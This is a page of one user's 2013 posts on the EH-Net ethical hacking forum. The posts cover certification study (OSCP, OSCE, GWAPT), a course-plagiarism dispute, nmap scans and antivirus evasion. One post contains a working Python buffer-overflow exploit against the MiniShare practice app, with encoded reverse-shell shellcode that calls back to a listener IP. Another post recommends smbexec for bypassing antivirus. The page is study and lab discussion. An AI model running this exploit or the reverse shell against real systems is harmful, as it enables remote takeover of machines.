Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 41 guests and 1 member online
 
Advertisement

You are here: Home
EH-Net
May 22, 2013, 04:59:00 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
  Home Help Calendar Login Register  
  Show Posts
Pages: 1 [2] 3 4 ... 20
16  Ethical Hacking Discussions and Related Certifications / Malware / Re: Joe McCray's Exploit Development Workshop on: February 11, 2013, 09:25:37 PM
Based on this http://blog.exploitlab.net/2013/02/defending-our-work-part-2-exploit-lab.html he did a whole lot more than just use the VM's
17  Ethical Hacking Discussions and Related Certifications / Malware / Re: Joe McCray's Exploit Development Workshop on: February 11, 2013, 09:07:35 PM
This has got to be a MISTAKE!!!!! Given the likes of attrition.org and the infosec community at large, why would any sane individual in the community so BLATANTLY rip off some else's work? And then go on to charge for it? Seriously??

Why would someone go to such great lengths at advertising a course that they STOLE? How could someone be so brazen?

Makes no sense....
18  Ethical Hacking Discussions and Related Certifications / Malware / Re: Joe McCray's Exploit Development Workshop on: February 11, 2013, 08:08:53 PM
WOW....it was him?Huh I saw the tweets but thought oh well.....interesting
19  Ethical Hacking Discussions and Related Certifications / Web Applications / Re: SANS GWAPT Exam? on: February 09, 2013, 07:15:20 PM
If you haven't done so already grab a copy of WAHH2(Web Application Hackers Handbook).
20  Ethical Hacking Discussions and Related Certifications / Web Applications / Re: SANS GWAPT Exam? on: February 08, 2013, 09:30:32 PM
What they ^^^^^ said  Smiley
21  Ethical Hacking Discussions and Related Certifications / Web Applications / Re: SANS GWAPT Exam? on: February 08, 2013, 07:24:32 PM
Are you talking about taking just the test or doing the course?
22  Ethical Hacking Discussions and Related Certifications / Network Pen Testing / Re: OSCE advice? on: February 06, 2013, 10:20:20 PM
@DK: I assume you're not sending the shellcode because it doesn't make it there. Otherwise, that would be your first problem Grin

You haven't got all the bad characters out, and even after that, you're not jumping back far enough. You'll currently land in the middle of the shellcode once you correct the characters.

x = ''
for i in range(0, 256):
    x += "\\x%02x" % i
print x

will give you a list of all 256 hex bytes. To start, use that as your shellcode and just keep sending longer and longer lines until it doesn't work, and then strip out a character. I put a break point at the beginning of your jump back and then compared the bytes that were present with what I sent. You could also automate that with pydbg if you're feeling ambitious. There's an example in the courseware.

I seem to be missing something as it relates to jumping back into the stack. Currently I am jumping back approx. 512 bytes. I tried jumping back further but then I jump out of my allocated buffer.

Any help as it relates to jumping back?? Thats where I am having the problem..
23  Ethical Hacking Discussions and Related Certifications / Network Pen Testing / Re: OSCE advice? on: February 06, 2013, 05:25:30 PM
Ok so can somebody shed some light on this. I am trying to exploit the minishare app from the greycorner. It is a simple buffer overflow exploit. I have already done it the regular way i.e. jmp esp.

However here is what I am trying,

Quote
#!/usr/bin/python

import socket

# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 R |msfencode -a x86 -b "\x00" -t c
#
  • x86/shikata_ga_nai succeeded with size 341 (iteration=1)

shell_reverse_tcp = ("\xba\xe7\x88\x98\x9a\xd9\xc3\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x4f\x31\x50\x14\x03\x50\x14\x83\xc0\x04\x05\x7d\x64\x72\x40"
"\x7e\x95\x83\x32\xf6\x70\xb2\x60\x6c\xf0\xe7\xb4\xe6\x54\x04"
"\x3f\xaa\x4c\x9f\x4d\x63\x62\x28\xfb\x55\x4d\xa9\xca\x59\x01"
"\x69\x4d\x26\x58\xbe\xad\x17\x93\xb3\xac\x50\xce\x3c\xfc\x09"
"\x84\xef\x10\x3d\xd8\x33\x11\x91\x56\x0b\x69\x94\xa9\xf8\xc3"
"\x97\xf9\x51\x58\xdf\xe1\xda\x06\xc0\x10\x0e\x55\x3c\x5a\x3b"
"\xad\xb6\x5d\xed\xfc\x37\x6c\xd1\x52\x06\x40\xdc\xab\x4e\x67"
"\x3f\xde\xa4\x9b\xc2\xd8\x7e\xe1\x18\x6d\x63\x41\xea\xd5\x47"
"\x73\x3f\x83\x0c\x7f\xf4\xc0\x4b\x9c\x0b\x05\xe0\x98\x80\xa8"
"\x27\x29\xd2\x8e\xe3\x71\x80\xaf\xb2\xdf\x67\xd0\xa5\xb8\xd8"
"\x74\xad\x2b\x0c\x0e\xec\x23\xe1\x3c\x0f\xb4\x6d\x37\x7c\x86"
"\x32\xe3\xea\xaa\xbb\x2d\xec\xcd\x91\x89\x62\x30\x1a\xe9\xab"
"\xf7\x4e\xb9\xc3\xde\xee\x52\x14\xde\x3a\xf4\x44\x70\x95\xb4"
"\x34\x30\x45\x5c\x5f\xbf\xba\x7c\x60\x15\xcd\xbb\xf7\x56\x66"
"\x42\x6c\x3f\x75\x44\x7d\xe3\xf0\xa2\x17\x0b\x55\x7d\x80\xb2"
"\xfc\xf5\x31\x3a\x2b\x9d\xd2\xa9\xb0\x5d\x9c\xd1\x6e\x0a\xc9"
"\x24\x67\xde\xe7\x1f\xd1\xfc\xf5\xc6\x1a\x44\x22\x3b\xa4\x45"
"\xa7\x07\x82\x55\x71\x87\x8e\x01\x2d\xde\x58\xff\x8b\x88\x2a"
"\xa9\x45\x66\xe5\x3d\x13\x44\x36\x3b\x1c\x81\xc0\xa3\xad\x7c"
"\x95\xdc\x02\xe9\x11\xa5\x7e\x89\xde\x7c\x3b\xb9\x94\xdc\x6a"
"\x52\x71\xb5\x2e\x3f\x82\x60\x6c\x46\x01\x80\x0d\xbd\x19\xe1"
"\x08\xf9\x9d\x1a\x61\x92\x4b\x1c\xd6\x93\x59")

# stack jmp  \xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFF\xE1
jmp_back = "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFF\xE1"

# jmp esp \x7E\x42\x93\x53 USER32.dll
jmp_esp = "\x53\x93\x42\x7E"

expl = "\x41" * 1271 + "\x42" * 517 + jmp_esp + "\x90" * 50 + jmp_back + "\x90" * 361

buff = "GET" + expl + "HTTP/1.1\r\n\r\n"
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = sock.connect(("192.168.1.124",80))
sock.send(buff)
sock.close()



The jmp_esp takes me to our buffer where we could inject shellcode there. However, I decided to try and jump back approx. 512 bytes and try to execute the shellcode.

However no dice......... Thoughts Smiley
24  Ethical Hacking Discussions and Related Certifications / Network Pen Testing / Re: OSCE advice? on: February 06, 2013, 01:25:36 PM
Which fuzzer framework would you all recommend? Spike or Peach or Huh
25  Ethical Hacking Discussions and Related Certifications / OSCP - Offensive Security Certified Professional / Re: I passed OSCP !! on: February 05, 2013, 10:57:59 AM
Thanks everyone!!!  Grin

Something that's funny: Since I knew exactly this time what I was getting myself into, I was so prepared mentally that I don't feel especially tired or exhausted (I mean, after two good nights of sleep).

I already started reading in "The Shellcoder's Handbook" yesterday. I am starting to study for OSCE tonight (first pass watching the videos).

BTW, I also stopped working on OSCE two years ago because after CISSP, I was totally brain dead. I --HATED-- studying for this exam!! I almost burn myself out. I ended up taking almost a full year off after CISSP...

But I am back now!

Anyone working on OSCE right now?  Grin



Yes Sir.....
26  Ethical Hacking Discussions and Related Certifications / Network Pen Testing / Re: pwdump and AV issues on: February 05, 2013, 07:55:40 AM
smbexec was designed to get around pesky AV....so definitely look into it

https://github.com/brav0hax/smbexec

Videos:
http://www.youtube.com/results?search_query=smbexec&oq=smbexec&gs_l=youtube.3..0.7551.9130.0.9302.7.5.0.2.2.0.88.421.5.5.0...0.0...1ac.1.rrrjRI59B2M
27  Ethical Hacking Discussions and Related Certifications / OSCP - Offensive Security Certified Professional / Re: I passed OSCP !! on: February 04, 2013, 10:21:33 PM
Congratz.....well played Sir!!!!
28  Ethical Hacking Discussions and Related Certifications / Network Pen Testing / Re: netcat question on: January 27, 2013, 08:52:04 PM
Having established a meterpreter session, do you migrate to another process?
29  Ethical Hacking Discussions and Related Certifications / Network Pen Testing / Re: Nmap null scans - help needed on: January 26, 2013, 08:45:56 PM
The behavior I see on my end is consistent with the RFC. I have ports 139,135,445 open. When I perform a NULL scan against XP SP 3, nmap labels all ports as closed and does send back an RST.

 I am receiving open|filtered.
30  Ethical Hacking Discussions and Related Certifications / Network Pen Testing / Re: Nmap null scans - help needed on: January 26, 2013, 08:21:48 PM
Keep in mind that open|filtered means no response received(even after retransmissions)

I just scanned(NULL scan) my XP SP3 machine I receive all ports closed. How are you running nmap?
Pages: 1 [2] 3 4 ... 20
Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.123 seconds with 21 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Free Business and Tech Magazines and eBooks

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.